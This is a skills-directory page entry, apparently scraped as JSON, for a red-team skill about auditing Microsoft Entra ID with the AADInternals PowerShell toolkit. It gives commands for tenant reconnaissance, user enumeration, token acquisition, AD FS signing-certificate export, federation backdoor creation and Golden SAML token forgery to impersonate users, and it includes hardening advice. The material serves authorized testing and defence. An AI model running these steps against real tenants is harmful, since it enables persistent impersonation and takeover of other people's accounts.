[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADW39Z0AFJMYEBVXNSWFZG":3,"skill-same:01M6ADW39Z0AFJMYEBVXNSWFZG":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":63,"repositoryHtmlUrl":64,"repositoryHomepageUrl":65,"ownerHtmlUrl":66,"ownerBlogUrl":67,"ownerDescription":68,"updatedAt":69,"install":70,"resources":83},"01M6ADW39Z0AFJMYEBVXNSWFZG","auditing-entra-id-with-aadinternals",null,"Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation\u002FAD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID\u002FMicrosoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"auditing entra id with aadinternals","entra id","red-team","adfs","federation-backdoor","saml-token-forgery","aadinternals","token-manipulation","azure-ad","entra-id","powershell","testing","fs","validation","toolkit","assessment","azure","identity","microsoft","cybersecurity","2026-11-10 10:12:30",false,"---\nname: auditing-entra-id-with-aadinternals\ndescription: Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation\u002FAD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID\u002FMicrosoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- aadinternals\n- entra-id\n- azure-ad\n- saml-token-forgery\n- federation-backdoor\n- token-manipulation\n- adfs\n- red-team\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.AM-03\nmitre_attack:\n- T1606.002\n---\n# Auditing Entra ID with AADInternals\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.\n\n## Overview\n\nAADInternals is the most comprehensive offensive\u002Fadministrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios \u002F Secureworks). It exposes hundreds of cmdlets (all prefixed `AADInt`) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS\u002FPTA attacks, and the technique it is most famous for: **federation backdoors** that abuse the `Set-MsolDomainFederationSettings` \u002F `ConvertTo-AADIntBackdoor` path so an attacker who controls a federated domain's `IssuerUri` can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK **T1606.002 (Forge Web Credentials: SAML Tokens)**, the same class of technique used in the SolarWinds (Golden SAML) intrusions.\n\nThe toolkit separates capabilities by required position. `Invoke-AADIntReconAsOutsider` and `Get-AADIntLoginInformation` require no credentials — they query public endpoints (`getuserrealm`, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop\u002FSeamless SSO is enabled. With a foothold, `Get-AADIntAccessTokenFor*` cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.\n\nThis skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation\u002FAD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.\n\n## When to Use\n\n- During an authorized Entra ID \u002F Microsoft 365 red-team or assumed-breach assessment\n- To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks\n- To validate that federation and AD FS token-signing certificates are protected against Golden SAML\n- To test token acquisition and replay across Microsoft first-party APIs\n- When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry\n\n## Prerequisites\n\n- Written authorization covering identity-attack and federation-backdoor testing\n- Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)\n- For backdoor\u002Ffederation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE\n- Install the module from the PowerShell Gallery:\n  ```powershell\n  Install-Module AADInternals -Scope CurrentUser\n  Import-Module AADInternals\n  # Cross-platform AsOutsider-only reimplementation (no creds) is also available:\n  #   https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002FAADOutsider-py\n  ```\n- Familiarity with SAML\u002FWS-Federation, OAuth tokens, and Azure AD Connect\n\n## Objectives\n\n- Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type\n- Acquire and cache access tokens for Microsoft first-party APIs\n- Enumerate users\u002Fgroups\u002Froles with an authenticated token\n- Test the federation backdoor \u002F Golden SAML path in a controlled, authorized manner\n- Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1606.002 | Forge Web Credentials: SAML Tokens | `ConvertTo-AADIntBackdoor` + `New-AADIntSAMLToken` forge SAML tokens for arbitrary users via a controlled federation `IssuerUri` (Golden SAML) |\n\nRelated techniques: **T1087.004** Account Discovery: Cloud Account (recon), **T1528** Steal Application Access Token (token acquisition), **T1556.007** Modify Authentication Process: Hybrid Identity (federation\u002FPTA backdoors).\n\n## Workflow\n\n### Step 1: Unauthenticated outsider reconnaissance\nNo credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.\n\n```powershell\n# Full outsider recon for a domain (table output)\nInvoke-AADIntReconAsOutsider -DomainName \"target.com\" | Format-Table\n\n# Login\u002Frealm details: federation vs managed, AuthURL, brand\nGet-AADIntLoginInformation -Domain \"target.com\"\n\n# Tenant GUID\nGet-AADIntTenantID -Domain \"target.com\"\n```\n\n### Step 2: External user enumeration (optional, noisy)\nValidate whether usernames exist via the GetCredentialType \u002F autologon endpoints.\n\n```powershell\n# Supply a list of candidate UPNs to test existence\nInvoke-AADIntUserEnumerationAsOutsider -UserName \"user1@target.com\"\n# Or pipe many:\nGet-Content .\\users.txt | Invoke-AADIntUserEnumerationAsOutsider\n```\n\n### Step 3: Acquire and cache access tokens\nWith valid credentials (or an interactive prompt), obtain tokens for the API you need. `-SaveToCache` lets later cmdlets reuse the token automatically.\n\n```powershell\n# Azure AD Graph (legacy graph.windows.net) token, cached\nGet-AADIntAccessTokenForAADGraph -SaveToCache\n\n# Microsoft Graph (graph.microsoft.com)\n$mg = Get-AADIntAccessTokenForMSGraph\n\n# Exchange Online\n$exo = Get-AADIntAccessTokenForEXO\n```\n\n### Step 4: Authenticated directory enumeration\nUsing a cached\u002Facquired token, read directory objects to map privilege.\n\n```powershell\n# Global tenant info (uses cached AAD Graph token)\nGet-AADIntTenantDetails\n\n# Enumerate users and look for privileged \u002F synced accounts\nGet-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId\n```\n\n### Step 5: Inspect federation \u002F AD FS configuration\nDetermine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.\n\n```powershell\n# If you have access to the AD FS server, export the token-signing certificate\nExport-AADIntADFSSigningCertificate -Path .\\adfs_signing.pfx\n# Read AD FS configuration \u002F encryption keys (on the AD FS box or via DKM)\nGet-AADIntADFSConfiguration -Server adfs.target.com\n```\n\n### Step 6: Federation backdoor \u002F Golden SAML (authorized only)\nConvert a domain to a backdoor by setting a known `IssuerUri`, then forge a SAML token for a target user using that domain's `ImmutableId`. **Only in a controlled tenant with explicit authorization.**\n\n```powershell\n# Requires a Global Admin token (AAD Graph) cached in Step 3\nConvertTo-AADIntBackdoor -DomainName \"backdoor.target.com\"\n# Output includes the IssuerUri to reuse when forging tokens.\n\n# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)\n$saml = New-AADIntSAMLToken -ImmutableID \"UQ989+t6fEq9\u002F0ogYtt1pA==\" `\n    -Issuer \"http:\u002F\u002Fbackdoor.target.com\u002Fadfs\u002Fservices\u002Ftrust\u002F\" -UseBuiltInCertificate\n\n# Use the forged token to open a portal session as the impersonated user\nOpen-AADIntOffice365Portal -SAMLToken $saml\n```\n\n### Step 7: Document exposure and harden\nCapture exactly what recon revealed, which tokens\u002FAPIs were reachable, and whether the backdoor\u002FGolden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new\u002Fchanged federation trusts, monitor `Set-DomainAuthentication`\u002F`Set-MsolDomainFederationSettings`, and migrate where feasible to managed (cloud) authentication.\n\n## Tools and Resources\n\n| Resource | Purpose | Source |\n|----------|---------|--------|\n| AADInternals | Entra ID \u002F AD FS attack & admin toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| AADInternals docs | Cmdlet reference and technique writeups | https:\u002F\u002Faadinternals.com\u002Faadinternals\u002F |\n| AADOutsider-py | Cross-platform AsOutsider reimplementation | https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002FAADOutsider-py |\n| Golden SAML background | Federation backdoor technique writeup | https:\u002F\u002Faadinternals.com\u002Fpost\u002Faadbackdoor\u002F |\n| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1606\u002F002\u002F |\n\n## Cmdlet Quick Reference\n\n| Cmdlet | Position | Purpose |\n|--------|----------|---------|\n| `Invoke-AADIntReconAsOutsider` | None | Verified domains, tenant ID, federation type, SSO |\n| `Get-AADIntLoginInformation` | None | Realm\u002Flogin details for a domain |\n| `Get-AADIntTenantID` | None | Tenant GUID |\n| `Invoke-AADIntUserEnumerationAsOutsider` | None | Validate user existence |\n| `Get-AADIntAccessTokenForAADGraph` | Creds | Azure AD Graph token (`-SaveToCache`) |\n| `Get-AADIntAccessTokenForMSGraph` | Creds | Microsoft Graph token |\n| `Get-AADIntAccessTokenForEXO` | Creds | Exchange Online token |\n| `Get-AADIntUsers` | Token | Enumerate directory users |\n| `ConvertTo-AADIntBackdoor` | Global Admin | Convert a domain into a federation backdoor |\n| `New-AADIntSAMLToken` | Backdoor | Forge a SAML token for a user (Golden SAML) |\n| `Open-AADIntOffice365Portal` | SAML token | Open a portal session as the impersonated user |\n\n## Validation Criteria\n\n- [ ] Outsider recon completed; verified domains, tenant ID, and federation type recorded\n- [ ] User enumeration tested (or documented as out of scope)\n- [ ] Access token acquired and cached for at least one Microsoft API\n- [ ] Authenticated directory enumeration performed (users\u002Froles, synced accounts noted)\n- [ ] Federation \u002F AD FS configuration assessed for token-signing key exposure\n- [ ] Backdoor \u002F Golden SAML path tested in an authorized controlled tenant or documented as out of scope\n- [ ] Exposure documented with concrete impact\n- [ ] Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)\n","# Auditing Entra ID with AADInternals\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.\n\n## Overview\n\nAADInternals is the most comprehensive offensive\u002Fadministrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios \u002F Secureworks). It exposes hundreds of cmdlets (all prefixed `AADInt`) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS\u002FPTA attacks, and the technique it is most famous for: **federation backdoors** that abuse the `Set-MsolDomainFederationSettings` \u002F `ConvertTo-AADIntBackdoor` path so an attacker who controls a federated domain's `IssuerUri` can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK **T1606.002 (Forge Web Credentials: SAML Tokens)**, the same class of technique used in the SolarWinds (Golden SAML) intrusions.\n\nThe toolkit separates capabilities by required position. `Invoke-AADIntReconAsOutsider` and `Get-AADIntLoginInformation` require no credentials — they query public endpoints (`getuserrealm`, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop\u002FSeamless SSO is enabled. With a foothold, `Get-AADIntAccessTokenFor*` cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.\n\nThis skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation\u002FAD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.\n\n## When to Use\n\n- During an authorized Entra ID \u002F Microsoft 365 red-team or assumed-breach assessment\n- To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks\n- To validate that federation and AD FS token-signing certificates are protected against Golden SAML\n- To test token acquisition and replay across Microsoft first-party APIs\n- When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry\n\n## Prerequisites\n\n- Written authorization covering identity-attack and federation-backdoor testing\n- Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)\n- For backdoor\u002Ffederation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE\n- Install the module from the PowerShell Gallery:\n  ```powershell\n  Install-Module AADInternals -Scope CurrentUser\n  Import-Module AADInternals\n  # Cross-platform AsOutsider-only reimplementation (no creds) is also available:\n  #   https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002FAADOutsider-py\n  ```\n- Familiarity with SAML\u002FWS-Federation, OAuth tokens, and Azure AD Connect\n\n## Objectives\n\n- Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type\n- Acquire and cache access tokens for Microsoft first-party APIs\n- Enumerate users\u002Fgroups\u002Froles with an authenticated token\n- Test the federation backdoor \u002F Golden SAML path in a controlled, authorized manner\n- Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1606.002 | Forge Web Credentials: SAML Tokens | `ConvertTo-AADIntBackdoor` + `New-AADIntSAMLToken` forge SAML tokens for arbitrary users via a controlled federation `IssuerUri` (Golden SAML) |\n\nRelated techniques: **T1087.004** Account Discovery: Cloud Account (recon), **T1528** Steal Application Access Token (token acquisition), **T1556.007** Modify Authentication Process: Hybrid Identity (federation\u002FPTA backdoors).\n\n## Workflow\n\n### Step 1: Unauthenticated outsider reconnaissance\nNo credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.\n\n```powershell\n# Full outsider recon for a domain (table output)\nInvoke-AADIntReconAsOutsider -DomainName \"target.com\" | Format-Table\n\n# Login\u002Frealm details: federation vs managed, AuthURL, brand\nGet-AADIntLoginInformation -Domain \"target.com\"\n\n# Tenant GUID\nGet-AADIntTenantID -Domain \"target.com\"\n```\n\n### Step 2: External user enumeration (optional, noisy)\nValidate whether usernames exist via the GetCredentialType \u002F autologon endpoints.\n\n```powershell\n# Supply a list of candidate UPNs to test existence\nInvoke-AADIntUserEnumerationAsOutsider -UserName \"user1@target.com\"\n# Or pipe many:\nGet-Content .\\users.txt | Invoke-AADIntUserEnumerationAsOutsider\n```\n\n### Step 3: Acquire and cache access tokens\nWith valid credentials (or an interactive prompt), obtain tokens for the API you need. `-SaveToCache` lets later cmdlets reuse the token automatically.\n\n```powershell\n# Azure AD Graph (legacy graph.windows.net) token, cached\nGet-AADIntAccessTokenForAADGraph -SaveToCache\n\n# Microsoft Graph (graph.microsoft.com)\n$mg = Get-AADIntAccessTokenForMSGraph\n\n# Exchange Online\n$exo = Get-AADIntAccessTokenForEXO\n```\n\n### Step 4: Authenticated directory enumeration\nUsing a cached\u002Facquired token, read directory objects to map privilege.\n\n```powershell\n# Global tenant info (uses cached AAD Graph token)\nGet-AADIntTenantDetails\n\n# Enumerate users and look for privileged \u002F synced accounts\nGet-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId\n```\n\n### Step 5: Inspect federation \u002F AD FS configuration\nDetermine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.\n\n```powershell\n# If you have access to the AD FS server, export the token-signing certificate\nExport-AADIntADFSSigningCertificate -Path .\\adfs_signing.pfx\n# Read AD FS configuration \u002F encryption keys (on the AD FS box or via DKM)\nGet-AADIntADFSConfiguration -Server adfs.target.com\n```\n\n### Step 6: Federation backdoor \u002F Golden SAML (authorized only)\nConvert a domain to a backdoor by setting a known `IssuerUri`, then forge a SAML token for a target user using that domain's `ImmutableId`. **Only in a controlled tenant with explicit authorization.**\n\n```powershell\n# Requires a Global Admin token (AAD Graph) cached in Step 3\nConvertTo-AADIntBackdoor -DomainName \"backdoor.target.com\"\n# Output includes the IssuerUri to reuse when forging tokens.\n\n# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)\n$saml = New-AADIntSAMLToken -ImmutableID \"UQ989+t6fEq9\u002F0ogYtt1pA==\" `\n    -Issuer \"http:\u002F\u002Fbackdoor.target.com\u002Fadfs\u002Fservices\u002Ftrust\u002F\" -UseBuiltInCertificate\n\n# Use the forged token to open a portal session as the impersonated user\nOpen-AADIntOffice365Portal -SAMLToken $saml\n```\n\n### Step 7: Document exposure and harden\nCapture exactly what recon revealed, which tokens\u002FAPIs were reachable, and whether the backdoor\u002FGolden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new\u002Fchanged federation trusts, monitor `Set-DomainAuthentication`\u002F`Set-MsolDomainFederationSettings`, and migrate where feasible to managed (cloud) authentication.\n\n## Tools and Resources\n\n| Resource | Purpose | Source |\n|----------|---------|--------|\n| AADInternals | Entra ID \u002F AD FS attack & admin toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| AADInternals docs | Cmdlet reference and technique writeups | https:\u002F\u002Faadinternals.com\u002Faadinternals\u002F |\n| AADOutsider-py | Cross-platform AsOutsider reimplementation | https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002FAADOutsider-py |\n| Golden SAML background | Federation backdoor technique writeup | https:\u002F\u002Faadinternals.com\u002Fpost\u002Faadbackdoor\u002F |\n| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1606\u002F002\u002F |\n\n## Cmdlet Quick Reference\n\n| Cmdlet | Position | Purpose |\n|--------|----------|---------|\n| `Invoke-AADIntReconAsOutsider` | None | Verified domains, tenant ID, federation type, SSO |\n| `Get-AADIntLoginInformation` | None | Realm\u002Flogin details for a domain |\n| `Get-AADIntTenantID` | None | Tenant GUID |\n| `Invoke-AADIntUserEnumerationAsOutsider` | None | Validate user existence |\n| `Get-AADIntAccessTokenForAADGraph` | Creds | Azure AD Graph token (`-SaveToCache`) |\n| `Get-AADIntAccessTokenForMSGraph` | Creds | Microsoft Graph token |\n| `Get-AADIntAccessTokenForEXO` | Creds | Exchange Online token |\n| `Get-AADIntUsers` | Token | Enumerate directory users |\n| `ConvertTo-AADIntBackdoor` | Global Admin | Convert a domain into a federation backdoor |\n| `New-AADIntSAMLToken` | Backdoor | Forge a SAML token for a user (Golden SAML) |\n| `Open-AADIntOffice365Portal` | SAML token | Open a portal session as the impersonated user |\n\n## Validation Criteria\n\n- [ ] Outsider recon completed; verified domains, tenant ID, and federation type recorded\n- [ ] User enumeration tested (or documented as out of scope)\n- [ ] Access token acquired and cached for at least one Microsoft API\n- [ ] Authenticated directory enumeration performed (users\u002Froles, synced accounts noted)\n- [ ] Federation \u002F AD FS configuration assessed for token-signing key exposure\n- [ ] Backdoor \u002F Golden SAML path tested in an authorized controlled tenant or documented as out of scope\n- [ ] Exposure documented with concrete impact\n- [ ] Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)\n",{"name":5,"tags":52,"author":53,"domain":46,"license":15,"version":54,"nist_csf":55,"subdomain":57,"description":7,"mitre_attack":58},[33,36,35,32,31,34,30,29],"mahipal","1.0",[56],"ID.AM-03","identity-access-management",[59],"T1606.002","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fauditing-entra-id-with-aadinternals",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":71,"prompt":81,"zipAvailable":82},[72,75,78],{"tool":73,"command":74},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-entra-id-with-aadinternals",{"tool":76,"command":77},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-entra-id-with-aadinternals",{"tool":79,"command":80},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill auditing-entra-id-with-aadinternals","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002FSKILL.md",true,[84,89,95,99],{"path":85,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002FLICENSE",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fapi-reference.md","REFERENCE","参考文档",2532,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002Freferences\u002Fapi-reference.md",{"path":96,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":97,"sourceHtmlUrl":98},"references\u002Fstandards.md",1174,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002Freferences\u002Fstandards.md",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"scripts\u002Fagent.py","SCRIPT","脚本",4670,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fauditing-entra-id-with-aadinternals\u002Fscripts\u002Fagent.py",[106,132,156,180,206,233],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":113,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[112],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[114,115,116,117,118,46,119,44,120,121,122,123,124,125,126,127,128,129,130,131],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":139,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[138],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[140,128,141,142,118,143,46,120,144,145,146,147,148,149,150,151,152,153,154,155],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":164,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[162,163],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[150,165,166,167,38,46,168,40,144,169,170,171,172,173,174,175,176,177,178,179],"backup","recovery","validating backup integrity for recovery","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":187,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[186],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[188,189,190,46,191,192,193,194,195,196,197,198,199,200,201,202,147,203,204,205],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":207,"name":208,"nameZh":6,"description":209,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":210,"categories":211,"keywords":213,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific 